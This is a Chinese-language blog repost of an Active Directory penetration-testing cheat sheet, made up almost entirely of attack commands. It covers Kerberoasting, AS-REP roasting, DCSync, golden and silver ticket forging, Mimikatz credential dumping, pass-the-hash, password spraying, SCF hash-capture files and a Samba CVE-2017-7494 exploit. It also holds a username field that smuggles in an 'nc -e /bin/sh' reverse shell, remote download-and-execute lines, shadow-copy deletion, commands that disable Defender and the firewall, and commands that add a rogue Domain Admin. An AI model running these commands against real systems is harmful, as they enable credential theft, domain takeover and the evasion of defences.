python3 dnstool.py -u 'intelligence\tiffany.molina' -p <password> -r h4rithd -a add -t A -d <myIP> <RemoteIP>

#### -u intelligence\Tiffany.Molina - The user to authenticate as;
#### -p <password> - The user’s password;
#### --action add - Adding a new record;
#### --record h4rithd - The domain to add;
#### --data <MyIP> - The data to add, in this case, the IP to resolve h4rithd to;
#### --type A - The type of record to add.

## ------------------| Check if it success
nslookup
> server <RemoteIP>
> h4rithd.intelligence.htb
## If it display my ip; we are good!!

11.钢哈希

1
2
3
4
5
6
7
8
9
10
## ------------------| Using Responder
sudo responder -I tun0

## ------------------| Using Metasploit
use auxiliary/server/capture/http_ntlm
set SRVPORT 80
set URIPATH /
set SRVHOST <MyIP>
set JOHNPWFILE passwords
run

12.gMSADumper

1
2
3
4
5
6
7
## ------------------| If it has ReadGMSAPassword 
python3 gMSADumper.py -u <user> -p <password_or_LM:NT> -l <ldap_server_ip> -d <domain>

## ------------------| 可以使用crackmapexc验证哈希
crackmapexec smb 10.10.10.248 -u svc_int$ -H b98d4cef68f72a98dfeed732d1b1abca

^^ 如果你有散列;你可以买一张银票。

13.getTGT.py

1
2
3
4
5
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/getTGT.py
python3 getTGT.py <domain>/<username>:<password>

export KRB5CCNAME=<username>.ccache # (导入票据)
klist

14.getPac.py

1
2
## ------------------| Get Domain SID
impacket-getPac -targetUser Administrator <Domain>/<User>:<Password>

15.AS-REP Roasting

1
2
3
4
5
6
## ------------------| With Rubeus
.\Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat

## ------------------| With Impacket
impacket-GetNPUsers -dc-ip <IP> <domain>/<user> -no-pass
impacket-GetNPUsers -dc-ip <IP> -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt <domain>/

16.DCSync 攻击

1
2
3
4
5
6
7
8
## ------------------| 先决条件
## 特权帐户(管理员、域管理员或企业管理员)

## ------------------| 要求KRBTGT的证书
.\mimikatz.exe "lsadump::dcsync" "/domain:<DOMIAIN> /user:krbtgt" "exit" >> DCSync.out

## ------------------| 请求h4rithd用户的凭据
.\mimikatz.exe "lsadump::dcsync" "/domain:<DOMIAIN> /user:h4rithd" "exit" >> DCSync.out

17.白银票据

  • 先决条件
1
2
3
4
5
## 域名                   --> systeminfo | findstr /B "Domain"
## 服务帐户的密码 --> 执行kerberoasting或使用mimikatz来转储哈希

## ------------------| 将密码转换为哈希
.\Rubeus.exe hash /password:<password>
  • 与 Rubeus 一起传递票证
1
.\Rubeus.exe silver /service:<servicePrincipalName> /rc4:<NTML-HASH> /sid:<domain_sid> /user:<NonExistentUser> /domain:<domain_name> /ptt
  • 使用 mimikatz 传递票证
1
2
3
4
5
6
7
## ------------------| 冲洗和注入票证
.\mimikatz.exe "kerberos::purge" "exit"
.\mimikatz.exe "kerberos::golden /user:<NonExistentUser> /domain:<domain_name> /sid:<domain_sid> /target:<FQHN_service_account> /service:HTTP /rc4:<ntml_hash> /ptt" "exit" >> mimikatz-silver.out

# ^ MSSQLSvc/SqlServer.htb.com
## ------------------| Get Shell
.\PsExec.exe -accepteula \\<FQHN_service_account> cmd
  • 使用 python 传递票证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
## ------------------| 需要同步日期(NETBIOS时间)
sudo ntpdate <RemoteIP>

## ------------------| Get Silver Ticket
python3 ticketer.py -nthash <ntml_hash> -domain-sid <domain_sid> -domain <domain_name> -user-id 500 Administrator -spn <FQHN_service_account>
impacket-getST -dc-ip 10.10.10.248 -spn www/dc.intelligence.htb -hashes :<ntml_hash> -impersonate Administrator <domain_name>/<FQHN_service_account>

#### -dc-ip 10.10.10.248
#### -spn - To get the SPN, that’s in the Node Info -> Node Properties section for the svc_int user in Bloodhound
#### -hashes - the NTLM I collected earlier using gMSADumper.py
#### -impersonate - the user I want a ticket for

## ------------------| 银票登录
export KRB5CCNAME=Administrator.ccache # (导入票据)
impacket-psexec -k -no-pass Administrator@dc.intelligence.htb

18.黄金票据

  • 先决条件
1
2
3
4
## 模拟用户 
## Domain Name --> systeminfo | findstr /B "Domain"
## SID --> whoami /user or Get-ADDomain <DOMAIN_NAME>
## 域KRBTGT帐户NTLM密码哈希 --> DCSync Attack
  • 黄金票据攻击过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
## ------------------| 获取域SID
impacket-lookupsid [domain/]username[:password]@]<IP>

## ------------------| 提取Krbtgt哈希
impacket-secretsdump [domain/]username[:password]@]<IP> -outputfile krb -user-status
impacket-secretsdump [domain/]username[:password]@]<IP> -outputfile krb -user-status -just-dc-user krbtgt -just-dc-ntlm

## ------------------| 生成TGT
## [NTLM Hash]
impacket-ticketer -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>
## [AES Key]
impacket-ticketer -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>

## ------------------| 转换kirbi,ccache
impacket-ticketConverter ticket.kirbi /tmp/ticket.ccache
impacket-ticketConverter ticket.ccache /tmp/ticket.kirbi

## ------------------| 设置票证以供使用
export KRB5CCNAME=/tmp/ticket.[ccache/kirbi]
klist

## ------------------| 使用TGT使用以下任意一项执行远程命令
## !! 记住不要使用IP地址。始终使用主机名.domain
python psexec.py <domain_name>/<user_name>@<remote_hostname.domain> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname.domain> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname.domain> -k -no-pass
impacket-psexec <domain_name>/<user_name>@<remote_hostname.domain> -k -no-pass

## ------------------| 处理错误
## KRB_AP_ERR_SKEW(时钟偏移过大) --> sudo ntpdate <DCIP>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
## ------------------| Pass the Ticket [/ppt]
## 如果在生成票证时在命令末尾使用/ptt,
## 然后可以使用misc::cmd命令,然后使用psexec.exe获取cmd shell。

## ------------------| Generate the ticket
## 如果在生成票证时没有在命令末尾使用/ppt,
## 它将把票存储为ticket.kirbi文件。
## 这张TGT票有效期为10年

## ------------------| RID
## 您可以使用/id:500生成管理员票证

## ------------------| To generate the TGT
## [NTLM Hash]
kerberos::golden /user:h4rithd /domain:<domain_name> /sid:<domain_sid> /krbtgt:<krbtgt_ntlm_hash> /ptt
kerberos::golden /user:h4rithd /domain:<domain_name> /sid:<domain_sid> /krbtgt:<krbtgt_ntlm_hash> /id:500 /ptt
kerberos::golden /domain:<domain_name> /sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
## [AES 128 key]
kerberos::golden /domain:<domain_name> /sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /ptt
## [AES 256 key] ** 由于微软默认使用的是更安全的加密,可能更隐蔽。
kerberos::golden /domain:<domain_name> /sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /ptt

## ------------------| Inject TGT with Mimikatz
kerberos::ptt <ticket_kirbi_file>
misc::cmd

## ------------------| Inject TGT with Rubeus
Rubeus.exe ptt /ticket:<ticket_kirbi_file>

## ------------------| Get shell
misc::cmd
psexec.exe \\<DC_HostName> cmd.exe
pushd \\<DC_HostName>\C$
  • 使用 Metasploit
1
2
3
4
5
6
7
8
9
10
11
## ------------------| 枚举域控制器的krbtgt哈希&SID
load kiwi
dcsync_ntlm krbtgt

## ------------------| 配置其他信息
shell
ipconfig /all
nbstat -a <DNS_SERVERS_IP>

## ------------------| 创建票证
golden_ticket_create -d <DOMAIN> -u <USER> -s <DOMAIN-SID> -k <HASH> -t /tmp/ticket.kirbi

19.Kerberos Roasting

  • 使用 GetUserSPNs.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
## ------------------| List all SPNs
cp /usr/share/kerberoast/GetUserSPNs.ps1 .
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/GetUserSPNs.ps1')
## With PowerView
Get-NetUser | Where-Object {$_.servicePrincipalName} | select samaccountname,serviceprincipalname | fl

## ------------------| Request ticket
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList <ServicePrincipalNames>
## 然后票将存储在内存中;

## ------------------| 使用mimikatz将票证保存到磁盘
kerberos::list /export

## ------------------| Crack hash
sudo apt-get install kerberoast
python3 /usr/share/kerberoast/tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi

## ------------------| If you are willing to crack with john
git clone https://github.com/nidem/kerberoast
python3 kerberoast/kirbi2john.py ticket.kirbi > john-ticket.txt
john --format=krb5tgs john-ticket.txt -wordlist=/usr/share/wordlists/rockyou.txt
  • 使用 Invoke-Kerberoast.ps1
1
2
3
4
5
6
7
8
9
## ------------------| Download
wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

## ------------------| Export ticket
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Format Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation | Out-File hashes.csv

## ------------------| Crack hash
hashcat -m 13100 -a0 hash.txt /usr/share/wordlists/rockyou.txt -O
  • 与Rubeus
1
2
3
4
5
6
## ------------------| Export ticket
.\Rubeus.exe kerberoast /simple /outfile:hashes.txt
.\Rubeus.exe kerberoast /creduser:<Domain>\<UserName> /credpassword:Password123! /outfile:hashes.txt

## ------------------| Crack hash
hashcat -m 13100 -a0 hash.txt /usr/share/wordlists/rockyou.txt -O

20.Mimikatz.exe

  • 转储所有用户的ntlm哈希值。
1
2
.\mimikatz.exe "token::elevate" "lsadump::sam" "exit" >> mimikatz-sam.out
.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" >> mimikatz-lsa.out
  • 使用转储密码lsass
1
2
3
4
5
6
## ------------------| Using Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> mimikatz-lsass.out

## ------------------| If you have lsass as Mini DuMP or Rekall
pip3 install pypykatz
pypykatz lsa minidump lsass.DMP --json
  • 导出 Kerberos 票证。
1
kerberos::list /export
  • 提取 krbtgt 哈希值
1
2
.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" "exit" >> mimikatz-krbtgt.out       
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:<DOMAIN> /user:krbtgt" "exit" >> mimikatz-krbtgt2.out
  • 越过哈希
1
2
3
4
5
6
7
## ------------------| 以其他用户身份登录
privilege::debug
sekurlsa::pth /user:[USER] /domain:[DOMAIN] /ntlm:[NTLM HASH] /run:"powershell -EncodedCommand SQBF..DFSS=="

## ------------------| 登录到域控制器计算机
net use \\<DC>
.\PsExec.exe -accepteula \\<DC> cmd.exe
  • 设置账户密码
1
.\mimikatz.exe "lsadump::setntlm /user:USERNAME /ntlm:NTLMHASH" "exit"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
CRYPTO::Certificates    # 列表/导出证书
KERBEROS::Golden # 创建金/银/信任票证
KERBEROS::List # 列出用户内存中的所有用户票证(TGT和TGS)。不需要特殊权限,因为它只显示当前用户的票证。类似于“klist”的功能。
KERBEROS::PTT # 把票递过去。通常用于注入被盗或伪造的Kerberos票证(金色/银色/信任)。
LSADUMP::DCSync # 要求DC同步一个对象(获取帐户的密码数据)。无需在DC上运行代码。
LSADUMP::LSA # 要求LSA服务器检索SAM/AD企业(正常、动态补丁或注入)。用于从域控制器或lsass.dmp转储文件中转储所有Active Directory域凭据。还用于获取特定的帐户凭据,如参数/name:“/name:krbtgt”的krbtgt
LSADUMP::SAM # 获取SysKey以解密SAM条目(来自注册表或配置单元)。SAM选项连接到本地安全帐户管理器(SAM)数据库并转储本地帐户的凭据。这用于转储Windows计算机上的所有本地凭据。
LSADUMP::Trust # 要求LSA服务器检索信任验证信息(正常或动态补丁)。转储所有关联信任(域/林)的信任密钥(密码)。
MISC::AddSid # 添加到用户帐户的SIDHistory。第一个值是目标帐户,第二个值是帐户/组名称(或SID)。移到SID:自2016年5月6日起修改。
MISC::MemSSP # 注入恶意的Windows SSP以记录经过本地身份验证的凭据。
MISC::Skeleton # 将Skeleton Key注入域控制器上的LSASS进程。这使得所有用户都可以使用“主密码”(也称为骨架密钥)以及他们的常用密码对骨架密钥修补的DC进行身份验证。
PRIVILEGE::Debug # 获取调试权限(许多Mimikatz命令都需要此权限或本地系统权限)。
SEKURLSA::Ekeys # 列出Kerberos加密密钥
SEKURLSA::Kerberos # 列出所有已验证用户的Kerberos凭据(包括服务和计算机帐户)
SEKURLSA::Krbtgt # 获取域Kerberos服务帐户(KRBTGT)密码数据
SEKURLSA::LogonPasswords # 列出所有可用的提供程序凭据。这通常显示最近登录的用户和计算机凭据。
SEKURLSA::Pth # Pass- theHash and Over-Pass-the-Hash
SEKURLSA::Tickets # 列出所有最近通过身份验证的用户的所有可用Kerberos票证,包括在用户帐户和本地计算机的AD计算机帐户的上下文下运行的服务。与kerberos::list不同,sekulsa使用内存读取,不受密钥导出限制。sekulsa可以访问其他会话(用户)的票证。
TOKEN::List # list all tokens of the system
TOKEN::Elevate # 模拟令牌。用于将权限提升到SYSTEM(默认)或在框中查找域管理令牌
TOKEN::Elevate /domainadmin # 使用域管理员凭据模拟令牌。

21.传递哈希 [PTH] - 扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
## ------------------| impacket-psexec
impacket-psexec <USER>@<IP> -hashes <NTML>:<NTML>

## ------------------| pth-winexe
export SMBHASH=<NTML>:<NTML>
pth-winexe -U administrator //192.168.1.101 cmd
pth-winexe -U administrator/<NTML>:<NTML> //192.168.0.101 cmd

## ------------------| Metasploit
use exploit/windows/smb/psexec
set SMBPass <NTML>:<NTML>

## ------------------| wmiexec.py
wmiexec.py –hashes <NTML>:<NTML> <DOMAIN>/<USER> @CORPDC01 "vssadmin delete shadows /all /quiet" > out.txt

## ------------------| PsExec.exe
PsExec.exe -accepteula \\<HOST> -u <DOMAIN>\<USER> -p <NTML>:<NTML> cmd.exe
PsExec.exe -accepteula \\<HOST> -s -u <DOMAIN>\<USER> -p <NTML>:<NTML> cmd.exe

## ------------------| Mimikatz
Mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<USER> /ntlm:<NTML> /domain:<DOMAIN>" "exit"

## ------------------| xfreerdp
xfreerdp /u:<USER> /d:<DOMAIN> /pth:<NTML>:<NTML> /v:<IP>

22.Powermad.ps1

1
2
3
4
## ------------------| Add fake machine
wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
Import-Module Powermad.ps1
New-MachineAccount -MachineAccount <FakeComputerName> -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

23.密码喷洒

  • 低速慢速密码喷洒
1
2
wget https://raw.githubusercontent.com/ZilentJack/Spray-Passwords/master/Spray-Passwords.ps1          
.\Spray-Passwords.ps1 -Pass Password123! -Admin
1
2
3
4
5
6
7
8
9
## ------------------| Setup
wget https://raw.githubusercontent.com/Greenwolf/Spray/master/spray.sh
chmod +x spray.sh

## ------------------| SMB Portal
spray.sh -smb <targetIP> <USERNAMEs.TXT> <PASSWORDS.TXT> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>

## ------------------| OWA Portal
spray.sh -owa <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <RequestsFile>

03.其他命令/漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
## ------------------| 侦察
## 将以下文件上载到受损的计算机。
wget https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1
wget https://github.com/samratashok/ADModule/raw/master/Microsoft.ActiveDirectory.Management.dll
. .\Import-ActiveDirectory.ps1
Import-ActiveDirectory -ActiveDirectoryModule C:\Full\Path\Microsoft.ActiveDirectory.Management.dll
Get-ADComputer -Filter {TrustedForDelegation -eq $True}

## ------------------| 利用打印机错误
wget https://raw.githubusercontent.com/h4rithd/PrecompiledBinaries/main/Rubeus/Rubeus.exe
wget https://raw.githubusercontent.com/h4rithd/PrecompiledBinaries/main/SpoolSample/MS-RPRN.exe

./Rubeus.exe monitor /interval:5 /nowrap ## Terminal 01 (shell 01)
./MS-RPRN.exe DC01 DC02 ## Terminal 02 (shell 02) [need nt authority\system]

## DC01是我们想要折衷的域控制器。
## DC02是我们控制的启用了委派的机器。
tasklist /SVC | findstr Rubeus.exe
taskkill /F /PID <PID>

## ------------------| Get TGT
## [need nt authority\system]
./Rubeus.exe ptt /ticket:doIFyDCCBcSgAw.....sdoIFyDC==
./Rubeus.exe klist

## ------------------| DCSync
./mimikatz.exe "lsadump::dcsync" "/user:<USERNAME>\krbtgt" "exit"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
## ------------------| Identify the vulnarability
### 如果您在计算机上有GenericAll/GenericWrite/Write对象,欢迎您!!
### Check if the value is 10?
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select ms-ds-machineaccountquota
### 检查操作系统是否大于或等于Windows 2012
Get-DomainController | select OSVersion

## ------------------| Exploit [PART I]
Import-Module ./Powermad.ps1
### 在域内创建新的伪计算机对象
New-MachineAccount -MachineAccount FAKEMACHINE -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Get-DomainComputer FAKEMACHINE
### Using AD PowerShell module, give the new fake computer object the Constrained Delegation privilege.
Set-ADComputer <TargetComputer> -PrincipalsAllowedToDelegateToAccount FAKEMACHINE$
Get-ADComputer <TargetComputer> -Properties PrincipalsAllowedToDelegateToAccount

## ------------------| Exploit [PART II]
### Performing a complete S4U attack
.\Rubeus.exe hash /password:123456 /user:FAKEMACHINE$ /domain:domain.local
### Note-down the aes256_cts_hmac_sha1 hash

## ------------------| Exploit [PART III]
### generate a ccached TGT and used KERB5CCNAME pass the ccahe file for the requested service.
impacket-getST domain.local/FAKEMACHINE -dc-ip <IP> -impersonate administrator -spn http/victim.domain.local -aesKey <AES_KEY>
export KRB5CCNAME=administrator.ccache
### We must set /etc/hosts file to map the domain name & hostname to the victim’s IP address
impacket-smbexec domain.local/administrator@victim.domain.local -no-pass -k
impacket-psexec domain.local/administrator@victim.domain.local -no-pass -k
  • 将共享挂载到 Linux 机器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
## ------------------| Setup
sudo apt-get install cifs-utils
sudo mkdir /mnt/shares
sudo chmod 777 /mnt/shares

## ------------------| Mount shares
sudo mount -t cifs //$IP/Users /mnt/shares
sudo mount -t cifs -o 'username=L.Frost,password=welcome2019' //$IP/Users /mnt/shares

## ------------------| Mount Options
-o 'username=L.Frost,password=welcome2019'
-o 'vers=2.0' ## can be change to vers=1.0 and vers=3.0
-o 'dir_mode=0755,file_mode=0755'

## ------------------| Usage of Thunar
thunar smb://$IP/
  • 通过远程共享在Kali Linux上挂载VHD文件
1
2
3
4
apt-get install libguestfs-tools
apt-get install cifs-utils

guestmount --add /mnt/remote/path/to/vhdfile.vhd --inspector --ro /mnt/vhd -v
  • SCF 文件攻击
1
2
3
4
5
6
7
8
9
10
## ------------------| Create payload nano stealhash.scf 
[Shell]
Command=2
IconFile=\\<YourP>\share\h4rithd.ico
[Taskbar]
Command=ToggleDesktop

## ------------------| Start responder
responder -I tun0
# Then copy the scf file to users desktop
  • 从 AD 中获取已删除的项目
1
Get-ADObject -SearchBase "CN=Deleted Objects,DC=Cascade,DC=Local" -Filter {ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *    
  • 如果你得到STATUS_PASSWORD_MUST_CHANGE;重置SMB密码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
## ------------------| If you are from linux env
smbpasswd -U <UserName> -r <RemoteMachineIP>

## ------------------| If you are from Windows env (Powershell)
$username = 'phinchley'
$dc = 'dc.lab.hinchley.net'

$old = 'Passw0rd1#'
$new = 'Something!'

$code = @'
[DllImport("netapi32.dll", CharSet = CharSet.Unicode)]
public static extern bool NetUserChangePassword(string domain, string username, string oldpassword, string newpassword);
'@

$NetApi32 = Add-Type -MemberDefinition $code -Name 'NetApi32' -Namespace 'Win32' -PassThru

if ($result = $NetApi32::NetUserChangePassword($dc, $username, $old, $new)) {
write-host 'Password change failed.'
} else {
write-host 'Password change successful.'
}
1
crackmapexec smb --shares <IP> -u './=`nohup nc -e /bin/sh 10.10.14.17 4545`' -p ''
  • 桑巴哭泣 | CVE-2017-7494 | 3.5.0 和 3.6.0
1
2
3
4
5
6
7
8
9
## ------------------| Setup
git clone https://github.com/opsxcq/exploit-CVE-2017-7494 && exploit-CVE-2017-7494
sudo pip install virtualenv
virtualenv -p python2 venv
source venv/bin/activate
pip2 install impacket

## ------------------| Expolit
python ./exploit.py -t $IP -e libbindshell-samba.so -s SusieShare -r /SusieShare/libbindshell-samba.so -u admin -p '' -P 6699

04.CPAD 命令圣经

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# https://github.com/Spartan-Cybersecurity/CPAD-Tools

python3 -c 'import pty; pty.spawn("/bin/bash")'
echo "ssh-rsa AAAAB3NzaC1= root@kali" >> ~/.ssh/authorized_keys

certutil.exe -f -urlcache -split http://192.168.49.123/bypass.exe
bitsadmin /transfer myJob http://192.168.49.123/EjecutaEsto.exe C:\\Windows\\Tasks\\EjecutaEsto.exe

IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.123/PowerView.ps1');
certutil.exe -f -urlcache -split http://192.168.49.123/HeidiSQL.zip
IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.123/PowerUpSQL.ps1');
Get-SQLInstanceDomain | Get-SQLConnectionTest
Get-SQLServerLink -Instance localhost
Invoke-SQLAudit -Instance localhost

IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.123/Invoke-Mimikatz.ps1');
Invoke-Mimikatz -Command '"token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets"'
certutil.exe -f -urlcache -split http://192.168.49.123/mimikatz.exe
.\mimikatz.exe 'privilege::debug' 'token::elevate' 'sekurlsa::logonpasswords' 'lsadump::sam' 'lsadump::secrets' exit

IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.123/adPEAS-Light.ps1'); Invoke-adPeas -Outputfile result-adpeas.txt
IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.123/SharpHound.ps1');
Invoke-BloodHound -CollectionMethod All -Domain spartancybersec.corp -ZipFileName luna.zip


(New-Object System.Net.WebClient).DownloadFile('http://192.168.49.123/PsExec64.exe', 'c:\Users\Public\PsExec64.exe')
(New-Object System.Net.WebClient).DownloadFile('http://192.168.49.123/PetitPotato.exe', 'c:\Users\Public\PetitPotato.exe')

certutil.exe -f -urlcache -split http://192.168.49.123/SharpHound.exe
.\SharpHound.exe --CollectionMethods All --Domain spartancybersec.corp

Set-MpPreference -DisableIOAVProtection $true -Verbose
Set-MpPreference -DisableRealtimeMonitoring $true -Verbose
Get-MpPreference | select DisableIOAVProtection, DisableRealtimeMonitoring
Set-NetFirewallProfile -name Domain,Private,Public -Enabled False -Verbose
netsh advfirewall set allprofiles state off

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force

net use \\192.168.49.123\kali-share /u:kali kali
copy \\192.168.49.123\kali-share\BypassCLM-bin.exe .
copy 20230915084901_BloodHound.zip \\192.168.49.123\kali-share\

iwr -uri http://192.168.49.123/chisel.exe -o c:\windows\tasks\chisel.exe
c:\windows\tasks\chisel.exe client 192.168.49.123:9090 R:9050:socks

iwr -uri http://192.168.49.123/NimScan.exe -o c:\windows\tasks\NimScan.exe
c:\windows\tasks\NimScan.exe

IEX (New-Object Net.WebClient).DownloadString('import-module https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');
IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.123/Invoke-Portscan.ps1');
Get-DomainComputer -Properties cn | select -first 8 | %{Invoke-Portscan -Hosts $_.cn -TopPorts 50 -Threads 4}

iwr -uri http://192.168.49.123/NimScan.exe -o c:\windows\tasks\NimScan.exe

IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.123/winPEAS.ps1');
iwr -uri http://192.168.49.123/winPEASany.exe -o c:\windows\tasks\winPEASany.exe
IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.123/PowerUp.ps1')


net user sephiroth Pass123 /add /domain
net localgroup Administrators sephiroth /add /domain
net localgroup 'Remote Desktop Users' sephiroth /add /domain
net group 'Domain Admins' sephiroth /add
net group 'Enterprise Admins' sephiroth /add

活动目录-技术实现-h4rithd-2024.04.03版本
https://sh1yan.top/2024/06/02/Active-Directory-Technical-Implementation-h4rithd-20240403/
作者
shiyan
发布于
2024年6月2日
许可协议